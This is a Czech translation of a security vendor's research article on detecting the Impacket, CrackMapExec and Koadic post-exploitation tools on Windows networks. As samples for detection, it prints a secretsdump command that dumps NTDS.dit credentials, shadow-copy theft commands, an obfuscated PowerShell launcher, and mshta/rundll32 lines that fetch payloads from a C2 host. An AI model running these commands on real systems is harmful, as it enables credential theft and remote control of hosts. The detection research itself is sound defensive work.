Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů

Počet útoků v podnikatelském sektoru každým rokem roste: například v roce 2017 bylo zaznamenáno o 13 % více jedinečných incidentů než v roce 2016, a na konci roku 2018 — o 27 % více incidentů, než v předchozím období. To zahrnuje i takové, kde je hlavním pracovním nástrojem operační systém Windows. V letech 2017–2018 skupiny APT Dragonfly, APT28, APT MuddyWater prováděly útoky na vládní a vojenské organizace Evropy, Severní Ameriky a Saúdské Arábie. A použily k tomu tři nástroje — Impacket, CrackMapExec a Koadic. Jejich zdrojový kód je veřejně dostupný na GitHubu.

Je třeba poznamenat, že tyto nástroje nejsou určeny pro primární pronikání, ale pro rozvoj útoku uvnitř infrastruktury. Útočníci je používají v různých fázích útoku, které následují po překonání perimetru. To je, mimochodem, složitě detekovatelné a často pouze pomocí technologií odhalování stop kompromitace v síťovém provozu nebo nástrojů, které umožňují odhalit aktivní činnosti útočníka poté, co pronikl do infrastruktury. Nástroje nabízejí široké spektrum funkcí — od přenosu souborů po interakci se systémovým registry a provádění příkazů na vzdáleném stroji. Provedli jsme výzkum těchto nástrojů, abychom zjistili jejich síťovou aktivitu.

Co jsme potřebovali udělat:

  • Porozumět, jak funguje hackerské nářadí. Zjistit, co útočníci potřebují pro exploataci a jaké technologie mohou využít.
  • Najít to, co není detekováno prostředky informační bezpečnosti v prvních fázích útoku. Fáze průzkumu může být opomenuta, ať už proto, že útočníkem je interní zločinec, nebo proto, že útočník využívá nedostatku v infrastruktuře, o které se dříve nevědělo. Objevuje se možnost obnovit celý řetězec jeho činností, odtud pochází potřeba odhalit další pohyb.
  • Eliminovat falešné poplachy detekčních prostředků intruzeNesmíme zapomínat ani na to, že při odhalení určitých aktivit na základě pouze jedné informace se mohou často objevit chyby. Obvykle existuje v infrastruktuře dostatek způsobů, které na první pohled nelze odhalit jako nelegitimní, jak získat nějaké informace.

Co tedy tyto nástroje útočníkům poskytují? Pokud jde o Impacket, útočníci získávají rozsáhlou knihovnu modulů, které lze využít v různých fázích útoku, které následují po překonání perimetru. Mnoho nástrojů využívá moduly Impacket uvnitř sebe — například Metasploit. Ten obsahuje dcomexec a wmiexec pro vzdálené spouštění příkazů, secretsdump pro získávání účtů z paměti, které byly přidány z Impacket. Konečně, správné odhalení aktivit takové knihovny zajistí i odhalení derivátů.

O CrackMapExec (nebo jednoduše CME) autoři nesmírně rádi napsali „Powered by Impacket“. Kromě toho, CME obsahuje připravenou funkcionalitu pro populární scénáře: to zahrnuje Mimikatz pro získávání hesel nebo jejich hashů, a integraci Meterpreter nebo Empire agenta pro vzdálené vykonávání, a také Bloodhound na palubě.

Třetí nástroj, který jsme vybrali, je Koadic. Je dost čerstvý, byl představen na mezinárodní hackerské konferenci DEFCON 25 v roce 2017 a vyznačuje se netradičním přístupem: pracuje přes HTTP, Java Script a Microsoft Visual Basic Script (VBS). Tento přístup se nazývá living off the land: nástroj využívá soubor závislostí a knihoven zabudovaných ve Windows. Tvorci ho nazývají COM Command & Control, nebo C3.

IMPACKET

Funkcionalita Impacket je velmi široká, začíná od průzkumu uvnitř AD a sběru dat z interních serverů MS SQL až po techniky pro získávání autentizačních údajů: to zahrnuje útok SMB relay a získání souboru ntds.dit z řadiče domény, který obsahuje hashe hesel uživatelů. Impacket také vzdáleně provádí příkazy, a to čtyřmi různými způsoby: pomocí WMI, služby pro správu plánovače Windows, DCOM a SMB, a k tomu potřebuje autentizační údaje.

Secretsdump

Podívejme se na secretsdump. Jedná se o modul, jehož cílem mohou být jak uživatelské stroje, tak doménové kontroléry. Pomocí něj lze získat kopie oblastí paměti LSA, SAM, SECURITY, NTDS.dit, a proto ho můžeme vidět v různých fázích útoku. Prvním krokem při práci s tímto modulem je autentizace přes SMB, pro kterou je třeba buď uživatelské heslo, nebo jeho hash pro provedení útoku Pass the Hash automaticky. Následuje žádost o otevření přístupu ke správci služeb (SCM) a získání přístupu k registru prostřednictvím protokolu winreg, pomocí něhož útočník může zjistit data zajímajících ho větví a získat výsledky přes SMB.

Na obr. 1 vidíme, jak konkrétně probíhá získání přístupu k klíči registru pomocí protokolu winreg. K tomu se používá příkaz DCERPC s opcode 15 — OpenKey.

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů
Obr. 1. Otevření klíče registru pomocí protokolu winreg

Dále, když je přístup k klíči získán, dochází ke uložení hodnot pomocí příkazu SaveKey s opcode 20. Impacket to dělá velmi specificky. Ukládá hodnoty do souboru, jehož název je řetězec z 8 náhodných znaků s přidáním .tmp. Kromě toho je další vykládka tohoto souboru prováděna přes SMB z adresáře System32 (obr. 2).

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů
Obr. 2. Schéma získání klíče registru z vzdáleného stroje

Takže odhalit takovou aktivitu v síti lze podle dotazů na určité větve registru pomocí protokolu winreg, specifických názvů, příkazů a jejich pořadí.

Tento modul také zanechává stopy v protokolu událostí Windows, díky nimž je snadno odhalitelný. Například výsledkem provedení příkazu

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

v protokolu Windows Server 2016 uvidíme následující klíčovou sekvenci událostí:

1. 4624 — vzdálené přihlášení.
2. 5145 — kontrola oprávnění pro vzdálenou službu winreg.
3. 5145 — kontrola oprávnění k souboru v adresáři System32. Soubor má náhodné jméno, jak bylo uvedeno výše.
4. 4688 — vytvoření procesu cmd.exe, který spouští vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — vytvoření procesu s příkazem:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 — vytvoření procesu s příkazem:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 — vytvoření procesu s příkazem:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Jako u mnoha nástrojů pro post-exploataci má Impacket moduly pro vzdálené provádění příkazů. Zaměříme se na smbexec, který poskytuje interaktivní příkazovou řádku na vzdáleném stroji. Pro tento modul je také vyžadována autentizace přes SMB buď heslem, nebo jeho hash. Na obrázku 3 vidíme příklad použití tohoto nástroje, v tomto případě konzoli místního správce.

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů
Obrázek 3. Interaktivní konzole smbexec

Prvním krokem práce smbexec po autentizaci je otevření SCM příkazem OpenSCManagerW (15). Dotaz je zajímavý: v něm pole MachineName má hodnotu DUMMY.

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů
Obrázek 4. Dotaz na otevření správce služeb

Dále dochází k vytvoření služby pomocí příkazu CreateServiceW (12). V případě smbexec můžeme vidět pokaždé stejnou logiku konstrukce příkazu. Na obrázku 5 jsou zelenou barvou označeny neměnitelné parametry příkazu, žlutou — to, co může útočník změnit. Není těžké si všimnout, že název spustitelného souboru, jeho adresář a soubor output lze změnit, ale zbývající je mnohem složitější změnit, aniž by došlo k narušení logiky fungování modulu Impacket.

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů
Obrázek 5. Dotaz na vytvoření služby pomocí správce služeb

Smbexec také zanechává jasné stopy v protokolu událostí Windows. V protokolu Windows Server 2016 pro interaktivní příkazovou řádku s příkazem ipconfig uvidíme následující klíčovou sekvenci událostí:

1. 4697 — instalace služby na stroji oběti:

%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 — vytvoření procesu cmd.exe s argumenty z bodu 1.
3. 5145 — ověření přístupových práv k souboru __output ve složce C$.
4. 4697 — instalace služby na stroji oběti.

%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — vytvoření procesu cmd.exe s argumenty z bodu 4.
6. 5145 — kontrola přístupových práv k souboru __output v adresáři C$.

Impacket je základem pro vývoj nástrojů pro útoky. Podporuje téměř všechny protokoly v infrastruktuře Windows a zároveň má své charakteristické rysy. Zde jsou konkrétní winreg dotazy a použití SCM API se specifickým formováním příkazů, formátování názvů souborů a SMB share SYSTEM32.

CRACKMAPEXEC

Nástroj CME je určen především k automatizaci rutinních úkonů, které útočník musí provádět pro postup v síti. Umožňuje spolupráci s dobře známými Empire agent a Meterpreter. Aby mohly být příkazy prováděny skrytě, CME je může obfuskovat. Použitím Bloodhound (samostatného nástroje pro provádění průzkumu) může útočník automatizovat hledání aktivní relace doménového administrátora.

Bloodhound

Bloodhound jako samostatný nástroj umožňuje provádět pokročilý průzkum v síti. Shromažďuje data o uživatelích, strojích, skupinách, relacích a je dodáván ve formě PowerShell skriptu nebo binárního souboru. Pro sběr informací se používají LDAP nebo protokoly založené na SMB. Integrační modul CME umožňuje nahrát Bloodhound na stroj oběti, spustit ho a získat shromážděná data po dokončení, čímž automatizuje akce v systému a činí je méně nápadnými. Grafické rozhraní Bloodhound zobrazuje shromážděná data ve formě grafů, což umožňuje najít nejkratší cestu od stroje útočníka k doménovému administratorovi.

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů
Obr. 6. Rozhraní Bloodhound

Pro spuštění na stroji oběti modul vytváří úkol pomocí ATSVC a SMB. ATSVC je rozhraní pro práci s plánovačem úloh Windows. CME používá jeho funkci NetrJobAdd (1) k vytváření úloh v síti. Příklad toho, co modul CME posílá, je zobrazen na obr. 7: to je volání příkazu cmd.exe a obfuskovaný kód ve formě argumentů v XML formátu.

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů
Obr.7. Vytváření úlohy přes CME

Poté, co úkol byl zadán k provedení, stroj oběti spouští samotný Bloodhound, což lze vidět v síťovém provozu. Pro modul jsou charakteristické LDAP dotazy pro získání standardních skupin, seznamu všech strojů a uživatelů v doméně a získání informací o aktivních uživatelských relacích prostřednictvím dotazu SRVSVC NetSessEnum.

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů
Obr. 8. Získání seznamu aktivních relací přes SMB

Kromě toho spuštění Bloodhound na počítači oběti s povoleným auditem doprovází událost s ID 4688 (vytvoření procesu) a názvem procesu „C:WindowsSystem32cmd.exe“. Zajímavé na něm jsou argumenty příkazového řádku:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101, 101, 116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Modul enum_avproducts je velmi zajímavý z hlediska funkčnosti a implementace. WMI umožňuje pomocí jazyka dotazů WQL získávat data různých objektů Windows, což tento modul CME ve své podstatě využívá. Vytváří dotazy na třídy AntiSpywareProduct a AntiMirusProduct o ochranných prostředcích nainstalovaných na počítači oběti. Aby získal potřebná data, modul se připojuje k prostoru názvů rootSecurityCenter2, poté vytváří WQL dotaz a získává odpověď. Na obr. 9 je zobrazen obsah takových dotazů a odpovědí. V našem příkladu byl nalezen Windows Defender.

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů
Obr. 9. Síťová aktivita modulu enum_avproducts

Často může být audit WMI (Trace WMI-Activity), ve kterém lze najít užitečné informace o dotazech WQL, vypnut. Ale pokud je povolen, při spuštění skriptu enum_avproducts se uloží událost s ID 11. Ta bude obsahovat jméno uživatele, který podal žádost, a jméno v prostoru názvů rootSecurityCenter2.

Každý z modulů CME měl své vlastní artefakty, ať už šlo o specifické dotazy WQL nebo vytvoření určitého typu úkolu v plánovači úloh s obfuskací a aktivitu charakteristickou pro Bloodhound v LDAP a SMB.

KOADIC

Charakteristickým rysem Koadic je využití vestavěných interpretů JavaScript a VBScript v systému Windows. V tomto smyslu následuje trend living off the land — tedy nemá žádné externí závislosti a používá standardní prostředky Windows. Je to nástroj pro plnohodnotné Command & Control (CnC), protože po infikování se na počítač instaluje „implantát“, který umožňuje jeho ovládání. Takový počítač se v terminologii Koadic nazývá „zombie“. Pokud není dostatek oprávnění pro plnohodnotnou práci na straně oběti, Koadic má možnost získat vyšší oprávnění pomocí technik obcházení řízení přístupu uživatelských účtů (UAC bypass).

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů
Obr. 10. Příkazový řádek Koadic

Oběť musí sama iniciovat komunikaci se serverem Command & Control. K tomu se musí obrátit na předem připravené URI a získat hlavní tělo Koadic pomocí jednoho z stageřů. Na obr. 11 je uveden příklad pro stageř mshta.

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů
Obr. 11. Inicializace sezení s CnC-serverem

Z proměnné WS odpovědi je jasné, že provádění probíhá přes WScript.Shell, a proměnné STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE obsahují klíčové informace o parametrech aktuálního sezení. Toto je první pár požadavek-odpověď v HTTP spojení s CnC-serverem. Následující požadavky jsou přímo spojeny s funkcionalitou volaných modulů (implantátů). Všechny moduly Koadic fungují pouze s aktivním sezením s CnC.

Mimikatz

Stejně jako CME spolupracuje s Bloodhound, Koadic pracuje s Mimikatz jako s samostatným programem a má několik způsobů, jak jej spustit. Níže je uveden pár požadavek-odpověď pro načtení implantátu Mimikatz.

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů
Obr. 12. Přenos Mimikatz do Koadic

Můžeme si všimnout, jak se změnil formát URI v požadavku. Objevila se hodnota proměnné csrf, která odpovídá vybranému modulu. Nevěnujte pozornost jejímu názvu; všichni víme, že pod CSRF obvykle chápeme něco jiného. V odpovědi přišlo opět veškeré hlavní tělo Koadic, do kterého byl přidán kód související s Mimikatz. Ten je dost velký, proto se podíváme na klíčové body. Před námi je base64 kódovaná knihovna Mimikatz, serializovaná .NET třída, která ji bude injektovat, a argumenty pro spuštění Mimikatz. Výsledek provádění je přenášen po síti v otevřeném formátu.

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů
Obr. 13. Výsledek provádění Mimikatz na vzdáleném počítači

Exec_cmd

V Koadic jsou také moduly schopné vzdáleně vykonávat příkazy. Zde uvidíme opět stejnou metodu generování URI a známé proměnné sid a csrf. V případě modulu exec_cmd se do těla přidává kód, který je schopen vykonávat shellové příkazy. Níže je uveden takový kód, který se nachází v HTTP odpovědi CnC-serveru.

Jak odhalit útoky na Windows infrastrukturu: zkoumámo nástroje hackerů
Obr. 14. Kód implantátu exec_cmd

Proměnná GAWTUUGCFI se známým atributem WS je potřebná ke spuštění kódu. S její pomocí implantát volá shell, zpracovávající dvě větve kódu — shell.exec s vrácením výstupního proudu dat a shell.run bez vracení.

Koadic není typickým nástrojem, ale má své artefakty, podle kterých je možné jej najít v legitimním provozu:

  • speciální formování HTTP požadavků,
  • použití winHttpRequests API,
  • vytvoření objektu WScript.Shell pomocí ActiveXObject,
  • velké spouštěcí tělo.

Výchozí připojení inicializuje stage, takže je možné zjistit jeho aktivitu pomocí událostí Windows. Pro mshta je to událost 4688, která informuje o vytvoření procesu s atributem spuštění:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Během běhu Koadic lze vidět i další události 4688 s atributy, které jej dobře charakterizují:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Závěry

Trend living off the land roste v popularitě mezi útočníky. Využívají integrované nástroje a mechanismy Windows pro své potřeby. Vidíme, jak populární nástroje Koadic, CrackMapExec a Impacket, které sledují tento princip, se stále častěji objevují ve zprávách o APT. Počet forků těchto nástrojů na GitHubu také roste, objevují se nové (v současnosti jich je již kolem tisíce). Trend získává popularitu pro svou jednoduchost: útočníci nepotřebují externí nástroje, ty už jsou na strojích obětí a pomáhají obcházet ochranné prostředky. Zaměřujeme se na studium síťové interakce: každý popsaný výše zmíněný nástroj zanechává své stopy v síťovém provozu; jejich podrobná analýza nám umožnila naučit náš produkt PT Network Attack Discovery je detekovat, což nakonec pomáhá vyšetřovat celou řadu kyberincidentů s jejich účastí.

Autoři:

  • Anton Tyurin, vedoucí oddělení expertních služeb, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, expert, PT Expert Security Center, Positive Technologies

Zdroj: habr.com

Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster